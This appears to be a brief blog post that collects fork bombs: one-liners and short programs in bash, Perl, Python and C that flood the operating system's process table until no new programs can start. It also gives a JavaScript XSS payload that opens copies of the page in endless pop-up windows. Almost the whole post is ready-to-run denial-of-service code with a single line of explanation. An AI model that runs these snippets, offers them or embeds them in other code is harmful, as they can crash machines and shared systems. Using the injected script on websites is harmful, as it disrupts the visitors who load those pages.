Bash fork() Bomb

: () { : | : & };:

it works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the operating system. If the process table becomes saturated, no new programs can start.

Some more forks:

An inline shell example using the Perl interpreter:

 perl -e "fork while fork" &

Using Python:

 import os

 while os.fork() or True: os.fork()

A more compact version of the above (which doesn’t check if os.fork exists)

 while 1: __import__("os").fork()

Or in C:

 #include <unistd.h>

 int main()
 {
   while(1)
     fork();
 }

JavaScript code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:

<script>
while (true) {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>

Leave a Reply

Your email address will not be published. Required fields are marked *